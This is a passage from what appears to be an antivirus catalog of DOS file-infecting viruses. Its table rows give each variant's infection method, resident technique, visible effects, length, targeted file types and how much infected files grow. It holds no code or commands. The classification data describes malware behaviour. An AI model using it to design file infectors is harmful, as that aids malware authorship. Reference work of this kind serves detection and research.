¦.NumberOne (2)¦FIND¦ - ¦ HV ¦12032¦ .C ¦ s ¦ L, overwrite ¦
¦.Oj ¦FIND¦ - ¦ H ¦15788¦ .E * ¦ s ¦ L, overwrite ¦
¦.Ondra ¦FIND¦ - ¦ H ¦5000 ¦ .E ¦ s ¦ L, overwrite ¦
¦.Plutonium ¦FIND¦ - ¦ H ¦12032¦ .C.E ¦ s ¦ L, overwrite ¦
¦.Ruw ¦FIND¦ - ¦ H ¦6496 ¦ .C ¦ s ¦ L, overwrite ¦
¦.ShadowGard ¦FIND¦ - ¦ HV ¦9482 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦.Termit ¦FIND¦ - ¦ HV ¦3201 ¦ .E * ¦ s ¦ L, overwrite ¦
¦.Tyst ¦FIND¦ - ¦ HV ¦3424 ¦ *.* * ¦ s ¦ L, overwrite ¦
¦.Vm ¦FIND¦ - ¦ H ¦9999 ¦ .C.E * ¦ s ¦ L, overwrite ¦
¦.Vs&W.3017 ¦FIND¦ - ¦ HV ¦3017 ¦ .E * ¦ s ¦ L, overwrite ¦
¦.Vs&W.3836 ¦FIND¦ - ¦ HV ¦3836 ¦ .E * ¦ s ¦ L, overwrite ¦
¦.Wonder (2)¦FIND¦ - ¦ H ¦7424 ¦ .E ¦ s ¦ L, overwrite ¦
¦.Zalman ¦FIND¦ - ¦ H ¦5520 ¦ .E * ¦ s ¦ L, overwrite ¦
¦ - - - - - - -T- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦HLLP.3072 ¦FIND¦ - ¦ - ¦3072 ¦ .C.E ¦ s ¦ L+(0-128) ¦
¦HLLP.3678 ¦FIND¦ - ¦ - ¦3678 ¦ .C.E ¦ s ¦ L ¦
¦HLLP.3680 ¦FIND¦ - ¦ - ¦3680 ¦ .C.E ¦ s ¦ L ¦
¦HLLP.3779 ¦FIND¦ - ¦ - ¦3779 ¦ .E ¦ s ¦ L ¦
¦HLLP.3966 ¦FIND¦ - ¦ - ¦3966 ¦ .E ¦ s ¦ L ¦
¦HLLP.4395 ¦FIND¦ - ¦ - ¦4395 ¦ .C.E ¦ s ¦ L ¦
¦HLLP.4536 ¦FIND¦ - ¦ - ¦4536 ¦ .E ¦ s ¦ L ¦
¦HLLP.4641 ¦FIND¦ - ¦ H ¦4641 ¦ .E ¦ s ¦ L ¦
¦HLLP.4665 ¦FIND¦ - ¦ - ¦4665 ¦ .E ¦ s ¦ L ¦
¦HLLP.5872 ¦FIND¦ - ¦ - ¦5872 ¦ .E ¦ s ¦ L ¦
¦HLLP.5904 ¦FIND¦ - ¦ - ¦5904 ¦ .E ¦ s ¦ L ¦
¦HLLP.7508 ¦FIND¦ - ¦ - ¦7508 ¦ .E ¦ s ¦ L ¦
¦HLLP.7712 ¦FIND¦ - ¦ - ¦7712 ¦ .E ¦ s ¦ L ¦
¦HLLP.7808 (2)¦FIND¦ - ¦ V ¦7808 ¦ .C.E * ¦ s ¦ L ¦
¦HLLP.7940 ¦FIND¦ - ¦ - ¦7940 ¦ .C ¦ s ¦ L ¦
¦HLLP.8905 ¦FIND¦ - ¦ H ¦8905 ¦ .E * ¦ s ¦ L ¦
¦HLLP.9072 ¦FIND¦ - ¦ - ¦9072 ¦ .C.E ¦ s ¦ L ¦
¦HLLP.10304 ¦INT ¦KEEP¦ - ¦10304¦ .C.E ¦ s ¦ L ¦
¦HLLP.10460 ¦FIND¦ - ¦ V ¦10460¦ .C ¦ s ¦ L ¦
¦HLLP.14954 ¦FIND¦ - ¦ - ¦14954¦ .E ¦ s ¦ L ¦
¦HLLP.18078 ¦FIND¦ - ¦ - ¦18078¦ .E ¦ s ¦ L ¦
¦.Acid ¦FIND¦ - ¦ HV ¦5016 ¦ .E * ¦ s ¦ L ¦
¦.Aga ¦FIND¦ - ¦ V ¦6555 ¦ .C.E * ¦ s ¦ L ¦
¦.Bdaagwa ¦FIND¦ - ¦ - ¦4984 ¦ .C.E ¦ s ¦ L ¦
¦.BeginPas ¦FIND¦ - ¦ - ¦5257 ¦ *.PAS * ¦ i ¦ L ¦
¦.BelGUT ¦FIND¦ - ¦ V ¦9840 ¦ .E ¦ s ¦ L ¦
¦.Birthday.5824 ¦FIND¦ - ¦ V ¦5824 ¦ .C.E * ¦ s ¦ L ¦
¦.Bishkek.3990 ¦FIND¦ - ¦ V ¦3990 ¦ .C.E * ¦ s ¦ L ¦
¦.Bishkek.4170 ¦FIND¦ - ¦ HV ¦4170 ¦ .C.E * ¦ s ¦ L ¦
¦.Bishkek.4240 ¦FIND¦ - ¦ HV ¦4240 ¦ .C.E * ¦ s ¦ L ¦
¦.Bishop ¦FIND¦ - ¦ HV ¦15706¦ .C.E * ¦ s ¦ L ¦
¦.Bobas ¦FIND¦ - ¦ V ¦5792 ¦ .E ¦ s ¦ L ¦
¦.Ceib.4629 ¦FIND¦ - ¦ - ¦4629 ¦ .C.E * ¦ s ¦ L ¦
¦.Ceib.5000 ¦FIND¦ - ¦ Ch ¦5000 ¦ .C.E * ¦ s ¦ L ¦
¦.ChSU ¦FIND¦ - ¦ - ¦4484 ¦ .C.E.O * ¦ s ¦ L ¦
¦.Cookie.7360 ¦FIND¦ - ¦ - ¦7360 ¦ .C.E ¦ s ¦ L ¦
¦.Cookie.7329 ¦FIND¦ - ¦ V ¦7392 ¦ .C.E ¦ s ¦ L ¦
¦.Daemon ¦FIND¦ - ¦ V ¦6424 ¦ .E * ¦ s ¦ L ++ ¦
¦.Dekas ¦FIND¦ - ¦ H ¦7104 ¦ .E * ¦ s ¦ L ¦
¦.Destroy ¦FIND¦ - ¦ H ¦7336 ¦ .C.E * ¦ s ¦ L ¦
¦.Doggy.6202 ¦FIND¦ - ¦ V ¦6202 ¦ .E * ¦ s ¦ L+3333 ¦
¦.Doggy.6606 ¦FIND¦ - ¦ V ¦6606 ¦ .E * ¦ s ¦ L ¦
¦.Doggy.6667 ¦FIND¦ - ¦ V ¦6667 ¦ .E * ¦ s ¦ L ¦
¦.Doggy.6685 ¦FIND¦ - ¦ V ¦6685 ¦ .E * ¦ s ¦ L ¦
¦.Doggy.6686 ¦FIND¦ - ¦ V ¦6686 ¦ .E * ¦ s ¦ L ¦
¦.Doggy.8421 ¦FIND¦ - ¦ V ¦8421 ¦ .E * ¦ s ¦ L ¦
¦.Doggy.9535 ¦FIND¦ - ¦ V ¦9535 ¦ .E * ¦ s ¦ L ¦
¦.Dupalec (2)¦FIND¦ - ¦ V ¦8192 ¦ .C.E ¦ s ¦ L ¦
¦.Feci ¦FIND¦ - ¦ - ¦6000 ¦ .E * ¦ s ¦ L ¦
¦.Finger ¦FIND¦ - ¦ V ¦9312 ¦ .E ¦ s ¦ L ¦
¦.FireLove ¦FIND¦ - ¦ H ¦10217¦ .E * ¦ s ¦ L ¦
¦.Forever ¦FIND¦ - ¦ VEr¦11652¦ .E * ¦ s ¦ L ¦
¦.Forth ¦FIND¦ - ¦ - ¦4608 ¦ .E ¦ e ¦ L ¦
¦.Frontier ¦FIND¦ - ¦ChEr¦9583 ¦ .E * ¦ s ¦ L ¦
¦.Globe ¦FIND¦ - ¦ - ¦5150 ¦ .C.E ¦ s ¦ L ¦
¦.Grosser ¦INT ¦KEEP¦ Er ¦6387 ¦ .E * ¦ s ¦ L ¦
¦.Grunt ¦FIND¦ - ¦ V ¦6425 ¦ .E * ¦ s ¦ L ¦
¦.Halloween ¦FIND¦ - ¦ - ¦10000¦ .C.E ¦ s ¦ L ¦
¦.Happy ¦FIND¦ - ¦ V ¦6912 ¦ .E * ¦ s ¦ L ¦
¦.Hello ¦FIND¦ - ¦ - ¦10000¦ .E * ¦ s ¦ L ++ ¦
¦.Hooter.5000 ¦FIND¦ - ¦ - ¦5000 ¦ .C.E ¦ s ¦ L ¦
¦.Inna.5260 ¦FIND¦ - ¦ V ¦5260 ¦ .E * ¦ s ¦ L ¦
¦.Izvrat ¦INT ¦KEEP¦ - ¦5555 ¦ .C.E * ¦ s ¦ L ¦
¦.Jojo ¦INT ¦KEEP¦ - ¦4416 ¦ CE * ¦ s ¦ L ¦
¦.Kasf ¦FIND¦ - ¦ H ¦5400 ¦ .C.E * ¦ s ¦ L ¦
¦.Kornik ¦FIND¦ - ¦ - ¦5658 ¦ .C.E ¦ s ¦ L ¦
¦.Krile.5831 ¦FIND¦ - ¦ - ¦5831 ¦ .C.E * ¦ s ¦ L ¦
¦.Krile.5880 ¦FIND¦ - ¦ - ¦5880 ¦ .C.E * ¦ s ¦ L ¦
¦.Lcamtuf.3888 ¦FIND¦ - ¦ - ¦3888 ¦ .C.E ¦ s ¦ L ¦
¦.Legs.6988 ¦FIND¦ - ¦ HV ¦6988 ¦ .C.E * ¦ s ¦ L ¦
¦.Legs.7000 (2)¦FIND¦ - ¦ HV ¦7000 ¦ .C.E * ¦ s ¦ L ¦
¦.Legs.7234 ¦FIND¦ - ¦ HV ¦7234 ¦ .C.E * ¦ s ¦ L ¦
¦.Maniac ¦FIND¦ - ¦ Er ¦6144 ¦ .C.E * ¦ s ¦ L+(0-255) ++ ¦
¦.Metal.7929 ¦FIND¦ - ¦ V ¦7929 ¦ .E * ¦ s ¦ L ¦
¦.Metal.13040 ¦FIND¦ - ¦ V ¦13040¦ .E * ¦ s ¦ L ¦
¦.Moonlight.4389¦FIND¦ - ¦ HV ¦4389 ¦ .E * ¦ s ¦ L ¦
¦.Mu ¦FIND¦ - ¦ - ¦7336 ¦ .C.E ¦ s ¦ L ¦
¦.Myxa ¦FIND¦ - ¦ V ¦7643 ¦ .C.E * ¦ s ¦ L ¦
¦.Nazi.5045 ¦FIND¦ - ¦ - ¦5045 ¦ .E ¦ s ¦ L ¦
¦.Nazi.6528 ¦FIND¦ - ¦ V ¦6528 ¦ .E * ¦ s ¦ L ¦
¦.Nazi.8600 ¦FIND¦ - ¦ V ¦8600 ¦ .C.E * ¦ s ¦ L ¦
¦.Nixda ¦FIND¦ - ¦ - ¦8928 ¦ .E ¦ s ¦ L ¦
¦.NotFound.6176 ¦FIND¦ - ¦ - ¦6176 ¦ .C.E * ¦ s ¦ L ¦
¦.Novokuz ¦FIND¦ - ¦ - ¦7000 ¦ .E * ¦ s ¦ L ¦
¦.Oeba ¦FIND¦ - ¦ - ¦7000 ¦ .C.E ¦ s ¦ L ¦
¦.Piss ¦FIND¦ - ¦ - ¦37931¦ .C.E ¦ s ¦ L ¦
¦.RedAlert ¦FIND¦ - ¦ Er ¦10208¦ .E * ¦ s ¦ L ¦
¦.RedArc ¦FIND¦ - ¦ - ¦44136¦ .C.E ¦ s ¦ L ¦
¦.RNA.7296 ¦FIND¦ - ¦ - ¦7296 ¦ .C.E ¦ s ¦ L ¦
¦.RNA.7408 ¦FIND¦ - ¦ - ¦7408 ¦ .C.E ¦ s ¦ L ¦
¦.Rottom ¦FIND¦ - ¦ - ¦9223 ¦ .C.E * ¦ s ¦ L ¦
¦.Rsw.5846 ¦FIND¦ - ¦ V ¦5846 ¦ .C.E * ¦ s ¦ L ¦
¦.Rsw.8304 ¦FIND¦ - ¦ V ¦8304 ¦ .C.E * ¦ s ¦ L ¦
¦.Sarka ¦FIND¦ - ¦ HV ¦7720 ¦ .E * ¦ s ¦ L ¦
¦.Satyricon ¦FIND¦ * ¦ V ¦7840 ¦ .E * ¦ s ¦ L ¦
¦.Sauron ¦FIND¦ - ¦ - ¦4568 ¦ .E ¦ s ¦ L ¦
¦.Saw ¦FIND¦ - ¦ - ¦6274 ¦ .C.E ¦ s ¦ L ¦
¦.Taras ¦FIND¦ - ¦ - ¦4884 ¦ .C.E ¦ s ¦ L ¦
¦.Ukazna ¦FIND¦ - ¦ HV ¦17414¦ .C.E ¦ s ¦ L ¦
¦.Unsteady (2)¦FIND¦ - ¦ HV ¦5667 ¦ .C.E * ¦ s ¦ L ¦
¦.UPI ¦FIND¦ - ¦ H ¦4482 ¦ .C.E * ¦ s ¦ L ¦
¦.Viper.7792 ¦FIND¦ - ¦ - ¦7792 ¦ .C.E * ¦ s ¦ L ¦
¦.VirKid ¦FIND¦ - ¦ - ¦4793 ¦ .E ¦ s ¦ L ¦
¦.Vova.8896 ¦FIND¦ - ¦ - ¦8896 ¦ .C ¦ s ¦ L ¦
¦.Vova.9904 ¦FIND¦ - ¦ - ¦9904 ¦ .C ¦ s ¦ L ¦
¦.Vova.10448 ¦FIND¦ - ¦ HS ¦10448¦ .C.E&E* ¦ s ¦ L ¦
¦.Vova.10896 ¦FIND¦ - ¦ HS ¦10896¦ .C.E * ¦ s ¦ L ¦
¦.Vova.10960 ¦FIND¦ - ¦ HS ¦10960¦ .C.E&E* ¦ s ¦ L ¦
¦.Vova.11312 ¦FIND¦ - ¦ HS ¦11312¦ .C.E * ¦ s ¦ L ¦
¦.Vova.12240 ¦FIND¦ - ¦ HS ¦12240¦ .C.E * ¦ s ¦ L ¦
¦.Vova.12560 (2)¦FIND¦ - ¦ H ¦12560¦ .C.E * ¦ s ¦ L ¦
¦.Vova.12704 ¦FIND¦ - ¦ H ¦12704¦ .C.E * ¦ s ¦ L ¦
¦.Vova.13168 ¦FIND¦ - ¦ H ¦13168¦ .C.E * ¦ s ¦ L ¦
¦.Vs&W.5062 ¦FIND¦ - ¦ HV ¦5062 ¦ .E * ¦ s ¦ L+1 ¦
¦.Vs&W.5175 ¦FIND¦ - ¦ HV ¦5175 ¦ .E * ¦ s ¦ L+1 ¦
¦.WarHeader ¦FIND¦ - ¦ V ¦7263 ¦ .C.E ¦ s ¦ L ¦
¦.Wbrb ¦FIND¦ - ¦ - ¦6665 ¦ .E ¦ s ¦ L ¦
¦.Weed.4080 (2)¦FIND¦ - ¦ HEr¦4080 ¦ .C.E * ¦ s ¦ L ¦
¦.Weed.5850 (5)¦FIND¦ - ¦HVEr¦5850 ¦ .C.E * ¦ s ¦ L ¦
¦.Wood ¦FIND¦ - ¦ - ¦3263 ¦ .C.E ¦ s ¦ L ¦
¦.Xenia ¦FIND¦ - ¦ HV ¦5844 ¦ .E * ¦ s ¦ L ¦
¦.Zenit ¦FIND¦ - ¦ V ¦8688 ¦ .E * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Horsa.1185 ¦FIND¦ - ¦ - ¦1185 ¦*mand.com *¦ e ¦ L+p ¦
¦Horsa.1230 ¦FIND¦ - ¦ - ¦1230 ¦*mand.com *¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Horse.1594 ¦INT ¦MCB ¦ - ¦1594 ¦ .C.E&E * ¦ e ¦ L, COMMAND.COM-0 ¦
¦Horse.1776 ¦INT ¦MCB ¦ V ¦1776 ¦ .C.E&E * ¦ e ¦ L, COMMAND.COM-0 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Hydra.1162 ¦INT ¦MCB ¦ V ¦1162 ¦ .E&E * ¦ e ¦ L+p ¦
¦Hydra.1649 ¦INT ¦MCB ¦ V ¦1649 ¦ .E&E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Hymn.1865 ¦INT ¦MCB ¦ HVS¦1865 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦Hymn.1962 ¦INT ¦MCB ¦ HVS¦1962 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦Hymn.2144 ¦INT ¦MCB ¦ HVS¦2144 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Hypervisor.3120¦INT ¦MCB ¦ Ch ¦3120 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Hypervisor.3128¦INT ¦MCB ¦ Ch ¦3128 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ha.798 ¦FIND¦ - ¦ HV ¦798 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦Hadi.6153 ¦INT ¦MCB ¦ VEr¦6153 ¦ CE * ¦ e ¦ L ¦
¦Haifa.2352 (2)¦INFI¦ADDR¦ HV ¦2352 ¦ .C.E * ¦ e ¦ L+p+(0-255) ¦
¦Hal.2862 ¦FIND¦ - ¦ - ¦2862 ¦ C+boot* ¦ s ¦ L+? ¦
¦Halfive.512 ¦INT ¦MCB ¦ H ¦512 ¦ C+boot* ¦ e ¦ L ¦
¦Halloechen.2012¦INT ¦MCB ¦ Ch ¦2012 ¦ CE ¦ e ¦ L+p ¦
¦Harmless.1082 ¦INT ¦MCB ¦ HEr¦1082 ¦ E * ¦ e ¦ L+p ¦
¦Harmless.1082 ¦INT ¦MCB ¦ HEr¦1082 ¦ E * ¦ e ¦ L+p ¦
¦HateV.524 ¦INT ¦MCB ¦ - ¦524 ¦ C ¦ e ¦ L ¦
¦Hdzz.566 ¦INT ¦MCB ¦ H ¦566 ¦ .C ¦ e ¦ L ¦
¦HeadMonth.473 ¦FIND¦ - ¦ H ¦473 ¦ .C * ¦ e ¦ L ¦
¦Helicopter.777 ¦INT ¦MCB ¦ V ¦777 ¦ .C * ¦ i ¦ 0, overwrite ¦
¦HellSpawn.1141 ¦INT ¦MCB ¦ V ¦1141 ¦ .E * ¦ s ¦ L, companion ¦
¦Hhhh.246 ¦FIND¦ - ¦ - ¦246 ¦ .C * ¦ e ¦ L ¦
¦HideNowt ¦INT ¦MCB ¦ - ¦1741 ¦ .C.E * ¦ e ¦ L ¦
¦Hider.1782 ¦FIND¦ - ¦ HV ¦1782 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Highlander.477 ¦INFI¦KEEP¦ V ¦477 ¦ .C ¦ s ¦ L ¦
¦Hiperion.249 ¦INT ¦DOSD¦ - ¦249 ¦ .C ¦ e ¦ L ¦
¦Hiroshima.826 ¦FIND¦ - ¦ HEr¦826 ¦COMMAND.COM* e ¦ L+? ¦
¦Hobo.369 ¦INFI¦INTB¦ - ¦369 ¦ .C&C * ¦ e ¦ L ¦
¦Holera.1488 ¦INT ¦MCB ¦ H ¦1488 ¦ CE * ¦ CsEe¦ C-L, E-L+p ¦
¦Holiday.2900 ¦INT ¦MCB ¦ VCh¦2900 ¦ CE * ¦ e ¦ L+p ¦
¦Holms.6161 ¦INFI¦MCB ¦ S ¦6161 ¦ .C.E&CE* ¦ e ¦ C-L+64+?, E-L+? ¦
¦Hoodoo.4456 ¦FIND¦ - ¦ HV ¦4456 ¦ .E&E * ¦ e ¦ L ¦
¦Horror.1173 ¦INT ¦MCB ¦ HV ¦1173 ¦ .C.E&CE ¦ e ¦ L ¦
¦Hypnotiser.1784¦INT ¦MCB ¦ V ¦1784 ¦ CE * ¦ e ¦ L ¦
¦Hzp.512 ¦INT ¦INTB¦ Er ¦512 ¦ E * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part I
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Ice.659 ¦INT ¦MCB ¦ - ¦659 ¦ E * ¦ e ¦ L+p ¦
¦Ice.734 ¦INT ¦MCB ¦ V ¦734 ¦ C * ¦ e ¦ L ¦
¦Ice.746 ¦INT ¦MCB ¦ HCh¦746 ¦ C * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Iceland.639 ¦INT ¦MCB ¦ - ¦632 ¦ .E ¦ e ¦ L+p ¦
¦Iceland.642 ¦INT ¦MCB ¦ Ch ¦642 ¦ .E ¦ e ¦ L+p ¦
¦Iceland.848 ¦INT ¦MCB ¦ V ¦848 ¦ E * ¦ e ¦ L+p ¦
¦Iceland.1618 ¦INT ¦MCB ¦VCh ¦1618 ¦ EO ¦ e ¦ L+p ¦
¦Iceland.1636 ¦INT ¦MCB ¦VCh ¦1636 ¦ EO ¦ e ¦ L+p ¦
¦Iceland.2280 ¦INT ¦MCB ¦ V ¦2280 ¦ CEO ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ieronim.512 ¦INT ¦MCB ¦ VEr¦512 ¦ .C * ¦ s ¦ L+? ¦
¦Ieronim.560 ¦INT ¦MCB ¦ VEr¦560 ¦ .C * ¦ s ¦ L+? ¦
¦Ieronim.570 ¦INT ¦MCB ¦ V ¦570 ¦ .C * ¦ e ¦ L ¦
¦Ieronim.600 ¦INT ¦MCB ¦ V ¦600 ¦ .C * ¦ e ¦ L ¦
¦Ieronim.1020 ¦INT ¦MCB ¦ V ¦1020 ¦ .C * ¦ s ¦ L ¦
¦Ieronim.1024 ¦INT ¦MCB ¦ V ¦1024 ¦ .C * ¦ s ¦ L ¦
¦Ieronim.1082 ¦INT ¦MCB ¦ V ¦1082 ¦ .C * ¦ s ¦ L ¦
¦Ieronim.1166 ¦INT ¦MCB ¦ V ¦1166 ¦ .E&E * ¦ e ¦ L+? ¦
¦Ieronim.1492 ¦INT ¦MCB ¦ V ¦1492 ¦ .E&E * ¦ e ¦ L+p ¦
¦Ieronim.1581 ¦INT ¦MCB ¦ V ¦1581 ¦ .C * ¦ e ¦ L ¦
¦Ieronim.1596 ¦INT ¦MCB ¦ VEr¦1596 ¦ .E&E * ¦ e ¦ L+p ¦
¦Ieronim.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ .E&E * ¦ e ¦ L+? ¦
¦Ieronim.2539 ¦INT ¦MCB ¦ V ¦2539 ¦ .E&E * ¦ e ¦ L+(0-543) ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Inoculation.1786INT ¦MCB ¦ V ¦1786 ¦ .C.E * ¦ e ¦ L+? ¦
¦Inoculation.1819INT ¦MCB ¦ V ¦1819 ¦ .C.E * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Invisible.2926 ¦INT ¦MCB ¦HVS ¦2926 ¦ CE * ¦ e ¦ L ¦
¦Invisible.3223 ¦INT ¦MCB ¦HVS ¦3223 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Internal.1381 ¦FIND¦ - ¦ V ¦1381 ¦ .E&E * ¦ e ¦ L+p ¦
¦Internal.1459 ¦FIND¦ - ¦ V ¦1459 ¦ .E&E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Intruder.459 ¦FIND¦ - ¦ - ¦459 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1319 ¦FIND¦ - ¦ - ¦1319 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1326 ¦FIND¦ - ¦ - ¦1326 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1331 ¦FIND¦ - ¦ - ¦1331 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1336 ¦FIND¦ - ¦ H ¦1336 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1347 ¦FIND¦ - ¦ - ¦1347 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1353 ¦FIND¦ - ¦ - ¦1353 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1355 ¦FIND¦ - ¦ - ¦1355 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1413 ¦FIND¦ - ¦ HV ¦1413 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1440 ¦FIND¦ - ¦ S ¦1440 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1555 ¦FIND¦ - ¦ - ¦1555 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1967 ¦FIND¦ - ¦ - ¦1967 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.1988 ¦FIND¦ - ¦ S ¦1988 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.2048 ¦FIND¦ - ¦ H ¦2048 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.2051 ¦FIND¦ - ¦ S ¦2051 ¦ .E&E ¦ e ¦ L+p ¦
¦Intruder.2336 ¦FIND¦ - ¦ H ¦2336 ¦ .E&E ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ionkin.231 ¦FIND¦ - ¦ - ¦231 ¦ .C&C ¦ e ¦ L ¦
¦Ionkin.2372 ¦FIND¦ - ¦ V ¦2372 ¦ .C&C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Istanbul.1312 ¦INT ¦MCB ¦ - ¦1312 ¦ CE ¦ e ¦ L+p ¦
¦Istanbul.1349 ¦INT ¦MCB ¦ - ¦1349 ¦ CE ¦ e ¦ L+p ¦
¦Istanbul.1367 ¦INT ¦MCB ¦ H ¦1367 ¦ CE ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦IVP.365 ¦FIND¦ - ¦ H ¦365 ¦ .C.E ¦ e ¦ L, overwrite ¦
¦IVP.814 ¦FIND¦ - ¦ - ¦814 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.April ¦FIND¦ - ¦ HV ¦1676 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ida.1490 ¦INT ¦MCB ¦ V ¦1490 ¦ C * ¦ e ¦ L+? ¦
¦Ighty.1156 ¦INT ¦MCB ¦ - ¦1156 ¦ E * ¦ e ¦ L+p ¦
¦Implant.6182 ¦INT ¦MCB ¦ HV ¦6182 ¦ CES+boot*¦ e ¦ L ¦
¦Inch.534 ¦FIND¦ - ¦ V ¦534 ¦ .C ¦ e ¦ L ¦
¦Infec.736 ¦INT ¦KEEP¦ V ¦736 ¦ .C ¦ s ¦ L ¦
¦Inferno.781 ¦INT ¦MCB ¦ H ¦781 ¦ C * ¦ e ¦ L+p ¦
¦Innoxious.1351 ¦INFI¦MCB ¦ V ¦1351 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Inquis.2653 ¦INT ¦MCB ¦ VM ¦2653 ¦ CE ¦CsEe ¦ C-L, E-L+p ¦
¦Int13 ¦INT ¦BUFF¦ H ¦512 ¦ .C * ¦ s ¦ 0 ¦
¦Int86.500 ¦INT ¦BUFF¦ - ¦500 ¦ C ¦ s ¦ L ++ ¦
¦IOerror.516 ¦INT ¦VIDE¦ V ¦516 ¦ E * ¦ e ¦ L+p ¦
¦Itavir.3187 ¦FIND¦ - ¦ H ¦3187 ¦ .E * ¦ e ¦ L+? ¦
¦Itv.449 ¦FIND¦ - ¦ V ¦449 ¦ .C * ¦ e ¦ L ¦
¦Izhevsk.3474 ¦INFI¦MCB ¦ V ¦3474 ¦ .C.E&CE* ¦ e ¦ C-L+16+p, E-L+p ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part J
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Jack.416 ¦FIND¦ - ¦ - ¦416 ¦ .C&CE ¦ e ¦ L ¦
¦Jack.436 ¦FIND¦ - ¦ - ¦436 ¦ .C&CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Jdc.5421 ¦FIND¦ - ¦ V ¦5421 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Jdc.6891 ¦FIND¦ - ¦ HV ¦6891 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Jdc.7474 ¦FIND¦ - ¦ V ¦7474 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Jdc.7611 ¦FIND¦ - ¦ HV ¦7611 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Jdc.7616 ¦FIND¦ - ¦ V ¦7616 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Jerusalem (2)¦INT ¦KEEP¦ HV ¦1808 ¦ .C.E * ¦CsEe ¦ C-L+5,E-L+p,E- ++¦
¦Jerusalem.933 ¦INT ¦KEEP¦ - ¦933 ¦ C ¦ s ¦ L ¦
¦Jerusalem.1244 ¦INT ¦KEEP¦ - ¦1244 ¦ CE ¦ CsEe¦ C-L+5, E-L+p ¦
¦.Aytuba ¦INT ¦KEEP¦ V ¦2389 ¦ .C.E ¦ CsEe¦ C-L, E-L+p ¦
¦.Baby ¦INT ¦KEEP¦ VH ¦1640 ¦ .E ¦ e ¦ L+p ¦
¦.Barcelona ¦INT ¦KEEP¦ V ¦1792 ¦ .C * ¦ s ¦ L ¦
¦.Canary.1970 ¦INT ¦KEEP¦ VS ¦1970 ¦ C * ¦ s ¦ L ¦
¦.Cvex.5120 (10)¦INT ¦KEEP¦ HV ¦5120 ¦ .C.E&CE* ¦CsEe ¦ C-L+5, E-L+p ¦
¦.Cvex.6144 ¦INT ¦KEEP¦ HV ¦6144 ¦ .C.E&CE* ¦CsEe ¦ C-L+5, E-L+p ¦
¦.Cvex.6400 ¦INT ¦KEEP¦ HV ¦6400 ¦ .C.E&CE* ¦CsEe ¦ C-L+5, E-L+p ¦
¦.Czech ¦INT ¦KEEP¦ HV ¦1730 ¦ .C.E * ¦CsEe ¦ C-L+5, E-L+p ¦
¦.Distrutto ¦INT ¦KEEP¦ HV ¦1588 ¦ CE * ¦CsEe ¦ C-L, E-L+p ¦
¦.Frere ¦INT ¦KEEP¦ H ¦1808 ¦ .C.E ¦CsEe ¦ C-L+5, E-L+p ¦
¦.Glory ¦INT ¦KEEP¦ VEr¦1824 ¦ .C.E * ¦CsEe ¦ C-L+7, E-L+p ¦
